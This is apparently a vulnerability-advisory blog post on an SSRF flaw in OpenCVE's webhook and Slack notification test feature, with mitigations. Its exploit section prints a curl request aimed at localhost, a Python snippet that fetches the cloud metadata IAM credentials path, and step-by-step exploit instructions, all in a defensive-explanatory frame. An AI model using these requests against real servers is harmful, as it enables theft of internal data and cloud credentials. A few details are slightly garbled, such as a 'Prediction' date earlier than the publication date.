Listen to this Post
OpenCVE is a vulnerability intelligence platform that aggregates CVE data from multiple sources and allows users to subscribe to vendors and products for alerting. Prior to version 3.0.0, the platform’s notification testing functionality for Webhook and Slack integrations fails to adequately validate user-supplied HTTP or HTTPS destinations. An authenticated user with permission to configure notification channels can supply an arbitrary URL to the “test” feature, which causes the OpenCVE server to issue an outbound HTTP request to that destination. Because the validation is insufficient, the request can be directed to hosts that are reachable from the OpenCVE server but not from the public internet, including internal network resources, localhost interfaces (127.0.0.1, ::1), link-local addresses (169.254.0.0/16), and cloud metadata services such as 169.254.169.254. The response from the targeted service is then returned to the attacker through the notification test result, enabling the retrieval of information from any HTTP-based service that the OpenCVE instance can reach. This creates a classic Server-Side Request Forgery (SSRF) condition. The flaw resides in the notification testing component that processes user-supplied webhook and Slack URLs. The vulnerability is tracked as CWE-918 and has a CVSS v3.1 base score of 6.5, reflecting a medium severity. Exploitation requires authentication and the specific permission to modify notification channels, which limits the attack surface to insider threats or compromised low-privileged accounts. Nevertheless, the ability to reach internal networks elevates the risk for organizations that host sensitive internal services, as an attacker could enumerate hidden resources, read configuration endpoints, or access cloud instance metadata that may contain temporary credentials. The issue is fixed in OpenCVE version 3.0.0, which introduces additional validation of user-supplied URLs used by the notification testing functionality and prevents requests to localhost, private network ranges, link-local addresses, cloud metadata services, and other non-public destinations.
DailyCVE Form:
Platform: OpenCVE
Version: < 3.0.0
Vulnerability: SSRF
Severity: Medium
date: 2026-09-18
Prediction: 2026-06-24
What Undercode Say:
Analytics:
The SSRF can be confirmed by configuring a notification channel with a URL pointing to a controlled listener or an internal service. The following curl command sends a test notification request with a malicious URL:
curl -X POST 'https://opencve.example.com/api/notifications/test' \
-H 'Authorization: Bearer <token>' \
-H 'Content-Type: application/json' \
-d '{"type":"webhook","url":"http://127.0.0.1:8080/admin"}'
A Python snippet that mimics the vulnerable request logic:
import requests
def test_notification(url):
response = requests.post(url, json={"test": "payload"}, timeout=10)
return response.text
Attacker-controlled URL pointing to internal service
internal_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
result = test_notification(internal_url)
print(result)
Exploit: (Educational Purposes!)
- Authenticate to OpenCVE with a user account that has permission to configure notification channels.
- Create a new Webhook or Slack notification configuration.
- In the URL field, enter a target such as
http://169.254.169.254/latest/meta-data/` orhttp://localhost:8080/internal-status`.
4. Trigger the “Test” action for the notification.
- The server makes the request to the supplied URL and returns the response in the test result, allowing the attacker to read internal data.
Protection: from this CVE
- Upgrade OpenCVE to version 3.0.0 or later.
- Restrict outbound network access from the OpenCVE server to trusted external destinations using firewall rules, network policies, or egress filtering.
- Block access to localhost interfaces, private network ranges (RFC 1918), link-local addresses, and cloud metadata services from the OpenCVE application environment.
- Disable the notification testing functionality if it is not required.
- Enforce strict role-based access control to limit which users can configure notification channels.
Impact:
Successful exploitation allows an attacker to interact with internal services that are not otherwise accessible from the internet and retrieve information from HTTP-based services reachable by the OpenCVE instance. This can lead to confidentiality loss of internal information, enumeration of hidden resources, and potential access to cloud instance metadata that may contain temporary credentials.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
